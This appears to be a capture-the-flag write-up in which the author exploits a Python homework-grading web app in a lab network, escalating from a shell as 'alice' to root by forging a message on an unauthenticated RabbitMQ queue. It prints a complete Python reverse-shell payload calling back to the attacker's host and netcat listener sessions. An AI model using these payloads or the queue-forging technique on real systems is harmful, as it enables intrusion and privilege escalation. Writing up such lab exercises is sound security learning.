Description
Could you help me with my homework? I think the professor’s solution is broken.
Difficulty: hard
Resource: OpenVPN configuration
This challenge is about escaping the context of the web application and crafting a special RabbitMQ communication to elevate privileges (and get the flag).
All the scripts described below can be found on my github : Ektoplasma’s Github.
Resolution
First of all, we use the OpenVPN configuration attached to the challenge description.
# openvpn homework.ovpn
Then we scan the 172.30.0.0/28
subnet:
Nmap scan report for 172.30.0.2 Host is up (0.15s latency). Not shown: 999 closed ports PORT STATE SERVICE 80/tcp open http Nmap scan report for 172.30.0.3 Host is up (0.15s latency). All 1000 scanned ports on 172.30.0.3 are closed Nmap scan report for 172.30.0.4 Host is up (0.15s latency). All 1000 scanned ports on 172.30.0.4 are closed Nmap scan report for deadlock (172.30.0.14) Host is up (0.00013s latency).
There are three other hosts on the subnet, 172.30.0.14
is our host.
The host with IP address 172.30.0.2
serves a web application. Let’s check that out:
This seems to be a coding exercise that you can submit and see the result. Here are the few statements that we can do:
1 – We are already logged in as Alice, and the Logout feature is not implemented despite the button,
2 – The first text box allows us to type some Python code,
3 – The second text box prints the results of test routines, evaluating our top_word(sentence)
function.
After playing around with the app (I spare you the tests) it seems that it is writing the input code in a file and executing it as Alice, on the system. The interesting part here is that there is no validation on the input, so we decide to put some code allowing us to get a reverse shell:
On our side, we can now enjoy our remote shell:
# nc -l -vv -p 172.30.0.14 8173 Listening on [172.30.0.14] (family 0, port 8173) Connection from 172.30.0.3 45456 received! /home/alice $ whoami alice
As we expected to see the host 172.30.0.2
connecting back to us, we are a bit surprised to see that it is actually the host 172.30.0.3
. Let’s execute a few commands on this host to see what is its purpose.
/home/alice $ ls -al total 8 drwxr-sr-x 4 alice student 101 Mar 3 16:45 . drwxr-xr-x 1 root root 19 Mar 3 16:45 .. drwxr-sr-x 3 alice student 70 Mar 3 16:45 .pytest_cache drwxr-sr-x 2 alice student 92 Mar 3 16:50 __pycache__ -rw-r--r-- 1 alice student 240 Mar 3 16:50 assignment_one.py -rw-r--r-- 1 alice student 1510 Mar 3 16:45 test_assignment_one.py /home/alice $ ps PID USER TIME COMMAND 1 root 0:00 python -m grader 22 alice 0:00 /usr/local/bin/python -m pytest -q test_assignment_one.py 23 alice 0:00 /bin/sh -i 27 alice 0:00 ps /home/alice $ ls /root ls: can't open '/root': Permission denied
There is no flag, but we can see two files :
-
-
assignment_one.py
: The file containing our input code,
test_assignment_one.py
: The test routines for top_word.
-
Moreover, a process running as root catches our attention: python -m grader
.
We decide to collect the grader module located in /usr/local/grader/
and quickly read its code to understand what it is (.py files in my github).
It turns out that this is the application responsible for evaluating our Python code and running tests against it. But in the context of the user Alice. How is it communicating with the web server?
The following code in the main function shows that it is connecting to a RabbitMQ server on the submissions
channel, in order to receive the code collected by the web server, and send the results of the tests.
MQ_SERVER = os.environ.get("MQ_SERVER", "localhost") MQ_PORT = int(os.environ.get("MQ_PORT", 5671)) #snipped def main(): # snipped conn = pika.BlockingConnection(pika.ConnectionParameters( host=MQ_SERVER, port=MQ_PORT, ssl=MQ_SSL, ssl_options=ssl_opts, heartbeat=0, blocked_connection_timeout=60, connection_attempts=10, retry_delay=3 )) logger.info("connected to message queue at %s:%d", MQ_SERVER, MQ_PORT) grader = Grader(conn)
Pika is the major Python client for RabbitMQ. If it is unclear, I strongly advise to read the sort introduction on their website : RabbitMQ Python Introduction.
Let’s see where the RabbitMQ server is hosted:
/home/alice $ netstat -laputen Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name [...] tcp 0 104 172.30.0.3:45456 172.30.0.14:8173 ESTABLISHED 22/python tcp 0 0 172.30.0.3:34106 172.30.0.4:5671 ESTABLISHED - [...] /home/alice $ echo $MQ_SERVER queue /home/alice $ nslookup queue Name: queue Address 1: 172.30.0.4 0x90r00t_homework_queue_1.0x90r00t_homework_default
Nice, our last host, 172.30.0.4, is hosting the RabbitMQ instance, delivering messages between the web server and the grader application:
What should we do next ? We definitely want to see what is inside the root directory. Our first thought is to check how we send our code to the web server and see if we can modify the user context. In the JQuery code, we notice that the submission is formatted as the following :
$('#submit').click(function() { $('#output').text('') $('#code-area').map(function() { if (this.value && this.value.length > 0) { socket.emit('submit', {code: this.value}); } }); }); /* Example of submission sent: 42["submit",{"code":"print(\"Hello world!!\")"}] */
No user information here. Now we must subscribe to the RabbitMQ submissions
channel and capture one submission. After some minutes of scripting and reading the documentation of Pika, we can subscribe and publish to the channel, from our workstation. We could just read the grader python code to understand how it is formatted, but here is one message we captured:
# python3 recv.py b'{"user": "alice", "assignment": "assignment_one", "code": "print(\\"Hello world!!\\")"}'
There you are ! We already know that we can’t execute commands with root privileges if we are Alice. Indeed, if we read the code of grader, we notice that assignment_one.py
is created as the user collected on the message, and then test_assignment_one.py
is executed also in the context of the user (uid and gid). So we just need to publish a valid message with the user root instead of alice in order to elevate our privileges.
After some adjustment on publ.py (you have to set correct properties, or grader will refuse your message, check my code) we can finally send a valid message to get a reverse shell as root:
{"user": "root", "assignment": "assignment_one", "code": "MY_IP=\\"172.30.0.14\\"\\nMY_PORT=8173\\n import socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\n s.connect((MY_IP,MY_PORT));os.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\n p=subprocess.call([\\"/bin/bash\\",\\"-i\\"])"}
Now we can enjoy a remote shell as root, and notice our old friend flag.txt
, anxiously waiting to be read:
# nc -l -vv -s 172.30.0.14 -p 8173 Listening on [172.30.0.14] (family 0, port 8173) Connection from 172.30.0.3 45890 received! /home/root # ls __pycache__ assignment_one.py flag.txt test_assignment_one.py /home/root # cat flag.txt gigem{a_chain_is_only_as_strong_as_its_weakest_leporidae} /home/root # \o/
Flag was gigem{a_chain_is_only_as_strong_as_its_weakest_leporidae}.
The things we tried that did not work, or could have tried
- We tried to craft a WebSocket communication by ourselves in order to insert some buggy char, but we could not even manage to initiate a connection (we first needed to “upgrade” the HTTP connection into WebSocket protocol, some evil shit).
- We could have done ARP spoofing in order to impersonate the RabbitMQ instance, and read the submission sent by the web server, but we would not be able to modify the message itself anyway, because of AMQP implementation (it is not impossible but it seems quite complicated). Of course, anybody could publish and subscribe to the
submissions
channel so we did not explore this technique.
I will happily read your comments down there if you want to.
ekt0
Uhh awesome
Good job Ectoplasme! ;P